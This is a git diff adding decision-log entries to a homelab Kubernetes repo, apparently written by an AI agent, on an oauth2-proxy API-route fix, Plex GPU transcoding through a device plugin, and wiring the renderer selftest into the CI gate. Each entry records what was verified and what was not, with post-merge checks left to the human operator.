+  the diff touches `conformance/**`, which `infra/gitea/approval-policy.json` lists as sensitive
+  ("the tests and the harness; changing them changes what green MEANS"). That is CLAUDE.md §1
+  working, not a defect. `required_approvals=1` applies to every PR here regardless of path, so this
+  needs a human either way.
+
+### The human test — and how to tell a too-broad regex from a working one
+
+After merge, wait for **new** pod names at 2/2 in `jackett` and `radarr`.
+
+1. **The breadth test FIRST, before anything else, from a signed-out browser** (private window).
+   Open `https://radarr.home.keithjackson.dev/` and `https://jackett.home.keithjackson.dev/UI/Dashboard`.
+   **Each must bounce through Keycloak and land on the app's UI.** If either shows a bare
+   `401 Unauthorized` instead of a sign-in, **the regex is too broad — stop and revert.** That is
+   the one failure this change can introduce, and it is the only test that can see it. A working
+   regex is invisible on a page load; a broken one is total and immediate.
+2. **Jackett, the original report:** signed in, *+ Add indexer* → pick one → *Configure* → *Okay*.
+   **It must save.** Previously 4 of 6 POSTs never reached Jackett at all.
+3. **Radarr, the live symptom:** open Radarr and leave the tab open. DevTools → Network, filter
+   `signalr`. Today those negotiate calls are **302** and the UI never complains. They must now be
+   **200** while signed in — and if the session is ever lost, **401**, with the UI showing a visible
+   connection error instead of polling silently forever.
+4. **The loud-failure test:** in DevTools, delete the `_oauth2_proxy_radarr` cookie and let the tab
+   poll. The negotiate call must answer **401** and Radarr must *show* a problem. Then **reload** —
+   `/` matches neither regex, so the reload must sign you back in silently. That round trip is the
+   entire fix: fail loudly on the API, recover on the page load.
+5. **The six-minute test (PR #28's open item, still open):** stay on a dashboard for >6 minutes,
+   then save something. That exercises `--cookie-refresh=2m30s` past the 300 s access-token cliff.
+   If it fails, suspect the realm's refresh/SSO-idle timeouts — not this change.
+6. **If something still fails, it must now fail LOUDLY.** A silent success-looking no-op means the
+   change did not take: check the running pod's args for `--api-route` before assuming anything
+   else.

decisions/2026-10-01-quicksync-via-device-plugin.md

@@ -0,0 +1,211 @@
+---
+date: 2026-10-01
+branch: feat/quicksync-via-device-plugin
+title: "`hardware.gpu: intel-quicksync` is now satisfied by `gpu.intel.com/i915`, not a `/dev/dri` hostPath — the hostPath was measured not to work (device-cgroup EPERM), and the swap took ZERO ServiceDefinition edits"
+---
+
+## What changed
+
+The mechanism behind `hardware.gpu: intel-quicksync` was replaced. **No ServiceDefinition field
+moved** — that was the whole design bet when this field was made an enum of capability classes
+instead of a device path, and this is the change that collects on it.
+
+**Why the old mechanism had to go.** The `/dev/dri` hostPath shipped on 2026-09-30 was measured
+**non-functional** in the live Plex pod on k3s-prod-2 on 2026-10-01. The device node was *visible*
+in the container — `crw-rw---- root video2 226,128 renderD128` — and could not be opened:
+
+| attempt | result |
+|---|---|
+| `uid 0`, `O_RDWR` | **`EPERM`** "Operation not permitted" |
+| `uid 1000`, `O_RDWR` | **`EPERM`** "Operation not permitted" |
+
+`EPERM` is the **device cgroup**, not `EACCES` from file permissions, proven three ways: root on the
+**host** opens the same device `rc=0`; the node is unified `cgroup2fs`; and the container's runc
+`config.json` read `linux.resources.devices: [{allow: False, access: 'rwm'}]` with
+`linux.devices: None` — one deny-all rule, no allow entry for major 226. A hostPath is a *filesystem*
+operation: it binds the device node in and adds **no cgroup allow rule**, because Kubernetes cannot
+infer one from a volume. `uid 0` failing matters: root does not bypass the cgroup device gate, so
+"run it as root" was never going to work either, and `privileged: true` is unavailable (Kyverno
+`restrict-host-namespaces` is Enforce on app namespaces).
+
+**`catalog/render.py`** — retired `DRI_VOLUME_NAME` / `DRI_DEVICE_DIR` for `QUICKSYNC_RESOURCE`
+(`gpu.intel.com/i915`). The `hardware.gpu == intel-quicksync` branch now emits exactly one thing on
+the **app container only** (never a sidecar):
+
+```yaml
+resources:
+  limits:
+    gpu.intel.com/i915: 1
+```
+
+and no volume, no volumeMount, no `securityContext`, no `nodeSelector`. `limits` rather than
+`requests` is mandatory, not stylistic: Kubernetes mirrors `requests` from `limits` automatically and
+a requests-only extended resource is invalid. This is the **only** app-container `resources` render
+path in the file and it is deliberately narrow — no general CPU/memory resources feature was invented
+along the way.
+
+**Self-tests** — the three existing ones updated plus one new:
+- the emitted `resources` dict is asserted **exactly** (`{"limits": {"gpu.intel.com/i915": 1}}`), so
+  a stray CPU/memory addition through this field fails loudly;
+- the retired hostPath volume and `/dev/dri` mount are asserted **absent**;
+- the no-`hardware` negative extended to cover `resources` (absence still renders nothing at all);
+- the `podSecurityContext` pass-through still holds, and the "no synthesised `securityContext`"
+  assertion is kept verbatim;
+- **new:** the i915 limit must never reach the oauth2-proxy sidecar.
+
+**`schemas/renderer-contract.md`** — the mechanism half of `### hardware` and invariant 8 rewritten.
+The intent half is unchanged and still correct. The `EPERM` measurement is recorded as the *reason*
+the design is what it is, so a future reader cannot "simplify" it back without knowing it was tried
+and measured. The `DirectoryOrCreate` rationale is kept, explicitly labelled historical.
+
+**`catalog/plex.yaml`** — comment correction only; the `hardware:` field is byte-identical.
+`git diff` on that file contains **no non-comment lines**. Its old comment restated the mechanism
+("exactly two things — a `/dev/dri` hostPath volume…"), which is now false; it states intent and
+points at the contract, and keeps the measured facts that remain true (device on all three nodes,
+`i915` bound, the cont-init hook / `supplementalGroups` explanation).
+
+**`runbooks/plex-quicksync.md`** — the diagnostic sequence now checks
+`.status.allocatable["gpu.intel.com/i915"]` and the plugin DaemonSet instead of a hostPath; the
+decisive open test is specified **as uid 1000 via `s6-setuidgid plex`**; the cgroup `EPERM` is
+recast from a *risk* to the *reason for the design*; a new top-of-page "STOP HERE IF PLEX IS
+`Pending`" section and a "Plex will not schedule" procedure carry the new failure mode and the escape
+hatch. The manual-toggle section (`HardwareAcceleratedCodecs`, Settings → Transcoder, still not
+settable by any env var) is unchanged.
+
+**`apps/wave-0/plex.yaml`** — re-rendered: six hostPath lines removed, a three-line `resources` block
+added. Nothing else in `apps/` changed.
+
+### The one real regression, stated rather than sold
+
+This trades failure modes, and the new one is **worse in blast radius**:
+
+| | device/resource unavailable ⇒ |
+|---|---|
+| **Before** | `DirectoryOrCreate` mounted an empty dir; Plex ran and **silently software-transcoded**. Invisible, harmless to everything else. |
+| **After** | Plex is **Unschedulable**. `apps-wave-0` is `wait: true` and `apps-wave-1` `dependsOn` it, so this **stalls the app tier**. |
+
+It is **unavoidable**: an extended resource is a hard scheduling constraint, and it is also the only
+thing that produces the cgroup allow rule. There is no graceful-degradation variant. Plex's
+schedulability is now coupled to the `intel-gpu-plugin` DaemonSet — broken, removed, or merely not
+yet reconciled, it takes the app tier with it. That is the price of hardware transcoding working at
+all.
+
+**Escape hatch — one field, no code change:** delete the `hardware:` block from `catalog/plex.yaml`
+and re-render. Plex returns to software transcoding and the tier unblocks. It is in the contract, in
+the runbook's "Plex will not schedule → remedy B" with exact commands, and here, because it is what
+someone will need at 2am.
+
+## What I verified
+
+**The precondition, re-read from the branch rather than assumed:** the plugin is a standalone
+DaemonSet at `platform/intel-gpu-plugin/` with its own Flux Kustomization
+(`clusters/base/intel-gpu-plugin.yaml`, named `intel-gpu-plugin` in `flux-system`), namespace
+`intel-gpu-plugin`, DaemonSet `intel-gpu-plugin`, pinned `intel/intel-gpu-plugin:0.37.0`. Every
+`kubectl` command I wrote into the runbook names those exact objects. The node/DaemonSet readings
+themselves (`i915=1` on all three nodes; 3 desired / 3 ready / 3 available) were **measured by the
+PM, not by me** — see "What I did NOT verify".
+
+**`render.py --selftest`: PASS**, and every new assertion is **mutation-tested — 8/8 mutants caught**
+(a test that cannot fail is not a test):
+
+| mutant | caught by |
+|---|---|
+| `requests` instead of `limits` | exact-resources assertion |
+| emission dropped entirely | exact-resources assertion |
+| `/dev/dri` hostPath + mount re-added | hostPath-absent assertion |
+| emitted unconditionally (no `hardware` key) | no-`hardware` negative |
+| `supplementalGroups` synthesised | no-pod-`securityContext` assertion |
+| resource renamed `gpu.intel.com/xe` | exact-resources assertion |
+| quantity as the string `"1"` | exact-resources assertion |
+| limit leaked onto the oauth2-proxy sidecar | new app-container-only assertion |
+
+**Re-render is clean and scoped.** `python3 catalog/render.py --all catalog -o apps --wave-layout
+--no-image-automation` then `git status --porcelain apps/` ⇒ `M apps/wave-0/plex.yaml` and nothing
+else. `git diff --stat apps/` ⇒ `1 file changed, 3 insertions(+), 6 deletions(-)` — exactly the six
+hostPath lines out, the three-line `resources` block in. **`apps/wave-1/keycloak.yaml` and
+`apps/wave-0/vm-demo.yaml` are untouched** (checked explicitly: they are git-tracked but excluded
+from the golden comparison by `RENDER_GOLDEN_NOT_ONBOARDED` in `ci/render-golden.sh`, so a spurious
+diff there would land ungated). `clusters/` is untouched; `--emit-waves` was not run.
+
+**Invariant 8 holds, mechanically checked rather than eyeballed.** `git diff -U0 catalog/plex.yaml`
+filtered to non-comment changed lines returns **empty**, and `yaml.safe_load` gives
+`hardware == {'gpu': 'intel-quicksync'}`. Zero ServiceDefinition field edits.
+
+**The gate: `rc 3` UNDETERMINED, which is this environment's calibrated best — NOT green, and I am
+not calling it green.** Run from this worktree in the pinned toolbox
+(`DEV_KUBECONFIG=/dev/null`, plus an `ENGINE` shim bind-mounting the main checkout's `.git`
+read-only, per CLAUDE.md §3; `infra/ansible/.cache/prod.kubeconfig` was **not** copied):
+
+| stage | result |
+|---|---|
+| `spec-immutability` | **SKIPPED** — spec repo not present at `/work/../home-network-k3s` (R-TEST-06 unverified) |
+| `decisions-log` | green |
+| `lint` | green |
+| `l0` | green |
+| `render-golden` | green |
+| `l1` | green |
+| `approval-policy` | green (`event='none'`, N/A off a PR event) |
+| `gitea-settings` | **SKIPPED** — `SETTINGS_API_TOKEN` unset |
+| `conformance` | **SKIPPED** — `CLUSTER_AVAILABLE != true`, L2/L3 not run |
+
+Three skips, the three expected ones; **nothing failed**. `diff base: origin/main @ 8214642d87de …
+HEAD @ 78bf68493d7d`, touched requirements resolved (`R-PLAT-02` among them), so the R-TEST-03
+coverage gate actually applied — an earlier run on the uncommitted tree reported the touched set
+"NOT DETERMINABLE (on-base)" and that is *not* the run I am quoting.
+
+## What I did NOT verify
+
+**HARDWARE TRANSCODING IS STILL NOT OBSERVED WORKING, and nothing in this branch could establish
+it.** A green gate proves the **manifest renders**, nothing more.
+
+- **The `open()` test has not been re-run under the new mechanism, and cannot be until this merges
+  and Flux reconciles.** The whole case for this change is that the device plugin's
+  `DeviceSpec{… Permissions: "rw"}` produces the cgroup allow rule the hostPath could not. That is
+  read from the v0.37.0 **source**, not observed on this cluster. If the plugin does not in fact
+  deliver it here, this change buys nothing and costs schedulability.
+- **The Plex-side toggle is still unset.** `HardwareAcceleratedCodecs` was **absent** from
+  `Preferences.xml` as of 2026-09-30 and nothing in this branch touches it; no env var, ConfigMap or
+  `postBuild` substitution can. It is a manual UI click, and until it happens Plex software-transcodes
+  no matter how the device arrives.
+- **I did not measure the cluster at all.** `i915=1` on all three nodes and the DaemonSet's
+  3/3/3 come from the PM's brief, dated 2026-10-01. Per CLAUDE.md §2b this repo is not evidence about
+  the live platform, and neither is a handoff entry: **re-measure before relying on them** (the
+  commands are first-command #1 in the runbook). The DaemonSet was 2m15s old when read — young enough
+  that it had not been observed stable for any length of time.
+- **The new failure mode has not been exercised.** "Plugin unavailable ⇒ Plex Unschedulable ⇒
+  `apps-wave-0` stalls ⇒ `apps-wave-1` blocked" is derived from `wait: true` and `dependsOn` in the
+  Flux wiring, not from a drill. The escape hatch (delete `hardware:`, re-render) is likewise
+  reasoned, not rehearsed — though it is a strict subset of the renderer path the selftest covers.
+- **No L2/L3 conformance.** `CLUSTER_AVAILABLE` is unset, so the gate's runtime layer did not run
+  here and does not run in CI either. `spec-immutability` and `gitea-settings` also skipped.
+- **CI's own tick, when it appears, will not distinguish rc 0 from rc 3**:
+  `.gitea/workflows/gate.yml:138` is `./ci/gate.sh || [ "$?" -eq 3 ]`. Read the stage output, not the
+  colour — and take the newest row per context from `GET /statuses/{sha}`, which appends.
+- **`imagePullPolicy: Always` on `plexinc/pms-docker:latest` is still a live hazard** to the
+  cont-init-hook reasoning this feature leans on. Unchanged by this branch, recorded in the runbook's
+  floating-image caveat.
+
+### Post-merge sequence for the operator (all mutating steps are yours, not an agent's)
+
+1. Merge the PR once the gate reports. Confirm Flux applied it — compare
+   `kubectl --context k3s-prod -n flux-system get kustomization apps-wave-0
+   -o jsonpath='{.status.lastAppliedRevision}'` against the merge commit.
+2. Confirm Plex **scheduled** (this is the new risk):
+   `kubectl --context k3s-prod -n plex get pod -l app.kubernetes.io/name=plex -o wide`.
+   `Pending` ⇒ runbook "Plex will not schedule".
+3. Confirm it consumed the resource:
+   `kubectl --context k3s-prod -n plex get pod -l app.kubernetes.io/name=plex
+   -o jsonpath='{.items[0].spec.containers[0].resources.limits}'`.
+4. **The decisive test — as uid 1000, via `s6-setuidgid plex`. `rc=0` is the pass condition:**
+   `kubectl --context k3s-prod -n plex exec deploy/plex -- s6-setuidgid plex sh -c
+   'exec 3<>/dev/dri/renderD128 && echo RW-OPEN-OK || echo RW-OPEN-DENIED'`.
+   **Passing as `uid 0` is weaker evidence and must not be accepted as proof** — Plex runs as 1000,
+   and uid 0 was one of the two `EPERM`s that killed the hostPath.
+5. **Only then** the Plex UI toggle: Settings → Transcoder → "Use hardware acceleration when
+   available" (under *Show Advanced*) → Save. Then force a transcode and read Dashboard → Activity:
+   `Transcode (hw)` is the proof; plain `Transcode` is software.
+
+Step 4 failing means the plugin is not delivering the cgroup allow rule on this cluster. Do **not**
+reach for `privileged: true` (Kyverno Enforce rejects it, and uid 0 failed anyway) and do **not**
+re-add a `/dev/dri` hostPath (that is the mechanism this replaced, measured non-functional). The
+escape hatch is to delete the `hardware:` block from `catalog/plex.yaml` and re-render.

decisions/2026-10-01-render-selftest-runs-in-gate.md

@@ -0,0 +1,205 @@
+---
+date: 2026-10-01
+branch: fix/render-selftest-runs-in-gate
+title: catalog/render.py's 106 assertions were dev-time only; the gate now runs them and blocks on them
+---
+
+## What changed
+
+Single subject, one file: **`ci/render-golden.sh` now invokes `catalog/render.py --selftest`**
+and exits 1 when it fails. Nothing else. No renderer change, no new conformance test, no new
+gate stage.
+
+This closes the top follow-up of `decisions/2026-09-30-oauth2-proxy-cookie-collision-fleet.md`:
+
+> Nothing in `ci/` or `.gitea/` runs `catalog/render.py --selftest` — I grepped for it. So the
+> twenty-odd assertions in that selftest, including the six I just added, are dev-time only: a
+> future edit that drops either flag *and* re-renders the goldens would pass the entire merge
+> gate.
+
+Re-measured here and confirmed: before this commit, `grep -rl -- --selftest` over `ci/` and
+`.gitea/` returned **nothing** for the renderer. The selftest executes **106** assertions
+(`check()` invocations counted at runtime via `sys.settrace`, without editing `render.py`; 109
+static call sites, three of them on failure-only branches). All 106 were unexercised by the
+merge gate.
+
+### The lead was WRONG, and here is why
+
+The brief named `conformance/tests/l0-static/auditability-proofs-producible/check.sh:291` as the
+one-line fix. That line is real and it does drive selftests:
+
+    for tool in ("record_run.py", "status.py"):
+        r = run([sys.executable, str(LIB / tool), "--selftest"])
+
+But it is **the wrong hook**. That loop is section (d) of a check that serves **R-SEC-03**, and
+its subject is the *evidence chain* — can a self-skipped run, or a stale ledger row, become an
+audit proof? `record_run.py` and `status.py` are **in** that chain; `catalog/render.py` is not.
+Hanging the renderer there would have made the check's name, its `intent` annotation and its
+requirement mapping (`R-SEC-03`) all untrue, and a future decision about the renderer could then
+only be expressed by weakening a *security-auditability* check. That is the precise coupling the
+cookie-collision entry refused for its own check, and it applies here.
+
+The second option that entry offered — a new scope-declaring L0 test — is the supported mechanism
+for a **whole-repo invariant** (`ci/l0.sh` Stage 3b's `--include-scope whole-repo` union, ratcheted
+by `tests/l0-static/whole-repo-invariants-wired`). It is the right shape for an invariant
+quantified over the tracked tree. It is the wrong shape for *"a script in this repo must pass its
+own unit test"*: it would need to declare requirements it does not serve, and it would be two new
+files of several hundred lines by this tree's conventions for what is a six-line invocation.
+
+**The honest home is `ci/render-golden.sh`** — the gate stage whose subject *already is*
+`catalog/render.py`. It already resolves `$PYTHON` and `$RENDER_PY`, already reports rc 3 when
+either is missing, already exits 1 on renderer error, and `ci/gate.sh` already maps it through
+`for s in lint l0 render-golden l1` where a FAIL is BLOCKED and a SKIP is UNDETERMINED. The
+stage's two assertions are independent and both are needed:
+
+- `render-golden` catches golden-vs-renderer drift, but is satisfied by **any** renderer whose
+  output was re-rendered — including one that just lost a contract invariant and had all ten
+  goldens regenerated in the same commit. That is exactly the hole named in the quote above.
+- `--selftest` catches that, and is blind to golden drift.
+
+The file header and the stage name were updated so neither is a lie: the stage is now "the
+renderer is trustworthy", with two numbered assertions, and the step summary emits its own
+`- render-selftest:` line so the gate output still NAMES what ran.
+
+The selftest runs **before** the empty-catalog `exit 3` on purpose: it renders synthetic
+ServiceDefinitions in memory and is catalog-independent, so an empty catalog must not be able to
+skip it.
+
+`catalog/render.py` itself was **not touched** (owned by a concurrent branch this session), and
+neither was any file under `conformance/`.
+
+## What I verified
+
+- **The selftest runs and passes: rc 0, `render.py selftest: PASS`, 106 assertions executed.**
+  Counted at runtime, not from the source: a `sys.settrace` hook counting `check()` calls, in a
+  throwaway script outside the repo, with no edit to `render.py`.
+- **The stage passes with it wired in**, host run of the single stage:
+
+      [gate] Stage: render==golden reproducibility (canonical render vs committed apps/)
+      [gate] Stage: catalog/render.py --selftest (the renderer's own output-contract assertions)
+      [ ok ] render.py --selftest passed
+      [ ok ] render==golden: all 10 onboarded service golden(s) reproduce from the canonical render
+
+  rc **0**. The golden comparison still reports all 10 goldens, so the new invocation did not
+  displace what the stage already asserted.
+- **IT CAN FAIL — provoked twice, against a mutated COPY of the renderer, never against the
+  tree.** `ci/render-golden.sh` already honours `RENDER_PY`, so each mutant lived in
+  `/tmp/claude-1000/desmond-selftest/` and the repo's `catalog/render.py` was never modified —
+  which matters, because that file belongs to a concurrent branch this session.
+  - **Mutation 1 — the regression this selftest was written for.** Deleted the
+    `f"--cookie-name=_oauth2_proxy_{s['name']}"` emission from `_oauth2_sidecar_container()`,
+    i.e. reverted the fleet-wide cookie-collision fix of PR #28. Stage rc **1**. Note the shape
+    of the failure, because it is a real (minor) weakness and is listed as a follow-up: the
+    selftest died with an uncaught `StopIteration` out of `next(a for a in container["args"] if
+    a.startswith("--cookie-name="))` at `render.py:2641`, rather than printing its collected
+    `SELFTEST FAIL:` lines. It is correctly non-zero and the stage correctly blocks, but the
+    operator gets a traceback instead of the assertion message.
+  - **Mutation 2 — a clean, named assertion failure.** `OAUTH2_COOKIE_REFRESH = "2m30s"` ->
+    `"10m"`, widening the refresh past the measured 300s access-token lifetime. Stage rc **1**:
+
+        [fail] catalog/render.py --selftest FAILED — the renderer violates its own output contract.
+        [fail]   Every golden under apps/ is produced by this renderer, so the goldens below cannot
+        [fail]   be trusted even if they reproduce byte-for-byte. Reproduce with:
+        [fail]     python3 catalog/render.py --selftest
+            SELFTEST FAIL: --cookie-refresh=10m parses to 600.0s, which is not inside (0, 300s). A
+            refresh at or past the access-token lifetime never renews in time, which is the same
+            logout it was added to stop
+
+    This is the mutation that proves the wiring's value most directly: mutation 2 would **not**
+    be caught by `render-golden`'s diff if the goldens were regenerated in the same commit, and
+    it is one of the two flags the cookie-collision entry explicitly recorded as **ungated**.
+- **THE NON-ZERO PROPAGATES ALL THE WAY TO `gate.sh`'s rc — provoked, in the pinned toolbox, not
+  reasoned about.** `RENDER_PY=/desmond-selftest/render-mutant2.py ./ci/gate.sh`:
+
+      [ ok ] stage spec-immutability: pass
+      [ ok ] stage decisions-log: pass
+      [ ok ] stage lint: pass
+      [ ok ] stage l0: pass
+      [gate] Stage: catalog/render.py --selftest (the renderer's own output-contract assertions)
+      [fail] catalog/render.py --selftest FAILED — the renderer violates its own output contract.
+          SELFTEST FAIL: --cookie-refresh=10m parses to 600.0s, which is not inside (0, 300s). ...
+      [fail] stage render-golden: FAIL
+      [ ok ] stage l1: pass
+      ...
+      [fail] render-golden: FAILED -> blocks merge
+      [fail] MERGE GATE: BLOCKED
+
+  `gate.sh` rc **1**. Three links in the chain, each measured: selftest rc 1 -> stage rc 1 ->
+  gate rc 1 / `MERGE GATE: BLOCKED`. This mattered enough to provoke rather than assume: this
+  repo has a documented habit of exit codes getting flattened, and
+  `.gitea/workflows/gate.yml:138` runs `./ci/gate.sh || [ "$?" -eq 3 ]`, which tolerates rc 3 —
+  so a stage that degraded a failure to a skip would be swallowed by CI. rc 1 is not tolerated
+  there, and rc 1 is what this produces.
+- **`spec-immutability` genuinely RAN and passed, it did not skip.** The two-mount worktree shim
+  plus `-e SPEC_REPO=/home-network-k3s` (the fix recorded in the 2026-09-30 cookie entry) works:
+  `stage spec-immutability: pass`, not SKIPPED. R-TEST-06 is therefore actually covered by these
+  runs.
+- **No collision with PR #29.** The brief warned that `feat/oauth2-proxy-auth-failure-visible`
+  had added checks under `conformance/tests/l0-static/`. Measured —
+  `git diff origin/main...origin/feat/oauth2-proxy-auth-failure-visible --name-only` — it touches
+  **no `conformance/` path at all**: `decisions/`, `platform/oauth2-proxy/` (a promtool test, an
+  alert rule, its kustomization), `runbooks/`. Disjoint from this branch either way, since this
+  branch touches only `ci/render-golden.sh` and this file.
+- **Priya's files were not touched.** `catalog/render.py`, `schemas/servicedefinition.schema.json`,
+  `apps/wave-*` and `conformance/tests/l1-rendering/` are all untouched by this branch — confirmed
+  by `git diff --name-only`, which lists exactly two paths.
+- **`catalog/render.py --selftest` was the LAST unwired selftest in the tree.** Measured:
+  `grep -rl -- --selftest` across the repo finds selftest-capable artifacts in exactly four
+  places, and after this commit every one is driven by the gate — `conformance/lib/record_run.py`
+  and `conformance/lib/status.py` by `auditability-proofs-producible/check.sh:291`, the Keycloak
+  client-secret reconciler (embedded in `platform/keycloak/client-secret-reconciler.yaml`) by
+  `keycloak-client-secret-reconciler/check.sh:633`, and `catalog/render.py` by this change.
+
+## What I did NOT verify
+
+- **Local gate: rc 3 (UNDETERMINED), NOT 0. This is not green and must not be reported as
+  green.** Measured in the pinned toolbox on `eeb6211`:
+
+      [ ok ] spec-immutability: green
+      [ ok ] approval-policy: green
+      [ ok ] decisions-log: green
+      [ ok ] lint: green
+      [ ok ] l0: green
+      [ ok ] render-golden: green
+      [ ok ] l1: green
+      [fail] MERGE GATE: UNDETERMINED — greenness was NOT ESTABLISHED.
+      [fail]   Stages that did not run: gitea-settings
+
+  Nothing FAILED. The single cause is `gitea-settings` **SKIPPED** — `SETTINGS_API_TOKEN` is not
+  set in my environment, so branch protection and runner registration were not read; CI has that
+  token and the stage is expected to run there. **L2/L3 `conformance`** also skipped
+  (`CLUSTER_AVAILABLE` unset) but is a *declared* gap that `gate.sh` treats as not-applicable
+  rather than undetermined, so it is not what produced the 3. Touched requirements
+  **R-GITOPS-01 R-TEST-02 R-TEST-03 R-TEST-06** are therefore **UNVERIFIED at L2/L3**, all four.
+  The stage this branch changes, `render-golden`, is green **and** was independently proven able
+  to turn the whole gate red (above).
+- **`approval-policy` passed LOCALLY only because there is no pull_request event**
+  (`not a pull_request event (event='none') — approval policy N/A`). That is not evidence that it
+  passes. This diff touches `ci/**`, a sensitive path, so in CI the stage is expected to **FAIL**
+  until a non-author approving review exists. That is §1 working, fail-closed, not a defect.
+- **The selftest's own quality is unchanged and ungated.** I wired its *invocation*; I did not
+  review its 106 assertions, and nothing ratchets them. Deleting the body of `_selftest()` would
+  still pass this stage, because an empty selftest returns 0. The repo already has the right
+  answer for that — `conformance/tests/l0-static/keycloak-client-secret-reconciler/mutations.py`
+  injects regressions one at a time and requires `--selftest` to catch every one — and applying
+  that pattern to `catalog/render.py` is the follow-up, deliberately not done here: it is a
+  second subject, it touches `conformance/`, and it would need to live beside the renderer whose
+  file another branch owns this session. **Until it exists, "the selftest runs" is proven and
+  "the selftest is falsifiable" rests on my two hand-run mutations, which are not in the gate.**
+- **Mutation 1's traceback is not fixed.** `render.py:2641`'s `next(...)` has no default, so the
+  absence of `--cookie-name` raises `StopIteration` and the selftest's collected `SELFTEST FAIL:`
+  lines are never printed. Correct verdict, poor diagnostics, and it suppresses the other
+  assertions that mutation also broke. The one-line fix (`next(..., None)` plus a `check()`) is in
+  `catalog/render.py`, which is another branch's file this session, so it is a follow-up and not
+  a thing I touched.
+- **Nothing about the live cluster.** No `kubectl` of any kind was run on this branch — not even
+  read-only; this change is offline CI wiring and needed none. No `apply`/`edit`/`patch`, no
+  `flux reconcile`. Merging this deploys nothing: it changes only what the gate refuses.
+- **CI's own run of this branch.** Quoted in the PR body from the commit's `/statuses`, with
+  descriptions read rather than colours. A *skipped* Gitea job reports `success` with
+  "Has been skipped" and certifies nothing.
+- **`vars.CLUSTER_AVAILABLE` is still unset in CI**, so even a fully green PR proves the L0/L1
+  offline subset and nothing about runtime behaviour.
+- **I did not re-measure branch protection, required approvals, or the runner.** Those are
+  CLAUDE.md §2 claims and §2b says re-measure before relying on them; this branch relies on none
+  of them beyond the PR flow itself, and I read the gate's own output rather than the API.

decisions/2026-10-02-plex-quicksync-verification.md

@@ -0,0 +1,149 @@
+---
+date: 2026-10-02
+branch: fix/plex-quicksync-verification
+title: Hardware transcoding works — and `runbooks/plex-quicksync.md`'s verification section was wrong
+---
+
+## What changed
+
+**Hardware transcoding is confirmed working on prod.** Measured 2026-10-02 from
+`Plex Media Server.log` in the running pod: `vaapi` on `/dev/dri/renderD128`
+(`Intel CoffeeLake-S GT2 [UHD Graphics 630]`), `using hardware decode accelerator vaapi`,
+`zero-copy support present`, `using zero-copy transcoding`, and
+`final decoder: vaapi, final encoder: vaapi`. VAAPI for **both** directions, zero-copy, so frames
+never round-trip through the CPU. The device-plugin mechanism from PR #37 works end to end.
+
+**And `runbooks/plex-quicksync.md`'s verification section was wrong, which is the correction this
+branch exists to publish.** The page said the Plex dashboard showing `Transcode (hw)` was "the *only*
+proof available, and nothing else will ever tell you". The operator had hardware transcoding fully
+working while **Dashboard → Activity showed nothing of the sort** — so the page's authoritative check
+was silent on a working system, and sent someone looking for a fault that did not exist. Three
+inference errors are now corrected on the page, two of them recorded as named false leads so the next
+reader does not re-walk them:
+
+1. **The dashboard is not proof.** Replaced as the primary check by Plex's own log — the grep is in
+   the page, in its **redacting** form, because `Plex Media Server.log` carries API URLs containing
+   `X-Plex-Token` (CLAUDE.md §6; a credential has been leaked into a transcript here before). The
+   page also now says explicitly that **`Plex Transcoder Statistics.log` is the wrong file** — it
+   holds XML `<Variant .../>` records, not ffmpeg output, and the name invites the mistake — and why
+   `grep -a` is required. The dashboard is **kept but demoted** to a secondary, best-effort signal,
+   with its absence stated to prove nothing.
+2. **An fd snapshot is not evidence.** A `/proc/*/fd` sweep inside the pod found no holder of
+   `renderD128` while hardware transcoding was active; transcode sessions are short and the scan
+   landed in a gap. Recorded as a documented false lead, with the reliable process-level check in its
+   place: the transcoder's **argv** (`-hwaccel`, `-hwaccel_device`, `vaapi`, `renderD128`), found via
+   `ps -eo pid,user,comm | grep -i transcoder`.
+3. **A missing preference key does not mean the setting is off.** The page told readers to treat an
+   absent `HardwareAcceleratedCodecs` in `Preferences.xml` as "never enabled". With hardware
+   acceleration demonstrably on and working, that key was **absent from all 27 attributes** while
+   `HardwareDevicePath` **was** written and the log said `hardware transcoding: enabled`. First-command
+   #4 now reads both keys and states plainly that `HardwareDevicePath` present is a positive signal,
+   absence of `HardwareAcceleratedCodecs` means nothing either way, only `="0"` is conclusive, and the
+   log settles it.
+
+Also on the page:
+
+- **GID `992` is no longer presented as a number to expect.** Under the plugin the injected device
+  arrives `root:root`, so the image's `cont-init.d` hook resolves GID **`0`** and adds `plex` to the
+  **root group** — measured `Groups: 0 100 1000`, `id plex` → `groups=1000(plex),0(root),100(users)`.
+  992 was the hostPath-era host `render` GID. The page now says so, marks the root-group membership as
+  an inherent property of the plugin's `DeviceSpec` rather than a defect, and repeats that it is
+  **not** a reason to reintroduce `supplementalGroups` (still a no-op: `s6-setuidgid` rebuilds the
+  group list from `/etc/group`). The stale `Groups: 100 1000` claim in the escalation section is gone.
+- **A new troubleshooting entry for legitimate per-title fallbacks**, marked as a **hypothesis**.
+  Between two fully hardware sessions, one logged `enabled, but no hardware decode accelerator found`
+  and empty final decoder/encoder. UHD 630 decodes H.264, HEVC 8/10-bit and VP9 but **not AV1** and
+  not 10-bit 4:2:2 HEVC, so the likely cause is the source file, not the platform — explicitly
+  written as a lead to check first, **not** a confirmed diagnosis of that item.
+- The status is stated at the top of the page and in a rewritten provenance footer that separates the
+  2026-10-02 confirmations from the superseded 2026-09-30/2026-10-01 hostPath-era readings.
+- `runbooks/README.md`'s index entry for the page was stale in the same two ways (it still described a
+  `/dev/dri` hostPath and the dashboard-only proof) and is corrected to match.
+
+Unchanged on purpose: the "STOP HERE IF PLEX IS `Pending`" section and the escape hatch (delete the
+`hardware:` block from `catalog/plex.yaml`, re-render) keep exactly their existing prominence — they
+are correct and they are the 2am material. The "no alert is possible" reasoning is also kept verbatim
+in substance: Plex declares no `metricsEndpoint`, renders no ServiceMonitor, and a fallback alert
+would be a rule evaluating against nothing.
+
+**Documentation only.** No change to `catalog/`, `schemas/`, `apps/` or `platform/`.
+
+## What I verified
+
+- **Gate, in the pinned toolbox from this worktree** (`DEV_KUBECONFIG=/dev/null`, `ENGINE` shim
+  bind-mounting the main checkout's `.git`): **rc 3 UNDETERMINED**, diff base
+  `origin/main @ 948875aad37d`, with exactly the three expected skips and **no failures**. Green:
+  `decisions-log`, `lint`, `l0`, `render-golden`, `l1`, `approval-policy`. Skipped:
+  `spec-immutability` (spec repo unavailable → R-TEST-06 not verified), `gitea-settings`
+  (`SETTINGS_API_TOKEN` unset), `conformance` (`CLUSTER_AVAILABLE!=true` → L2/L3 not run).
+  Touched requirements: **R-OBS-04**, reported `UNVERIFIED` for lack of a cluster. `approval-policy`
+  passed as `N/A` locally (`event='none'`, not a `pull_request`) — it evaluates for real on the PR.
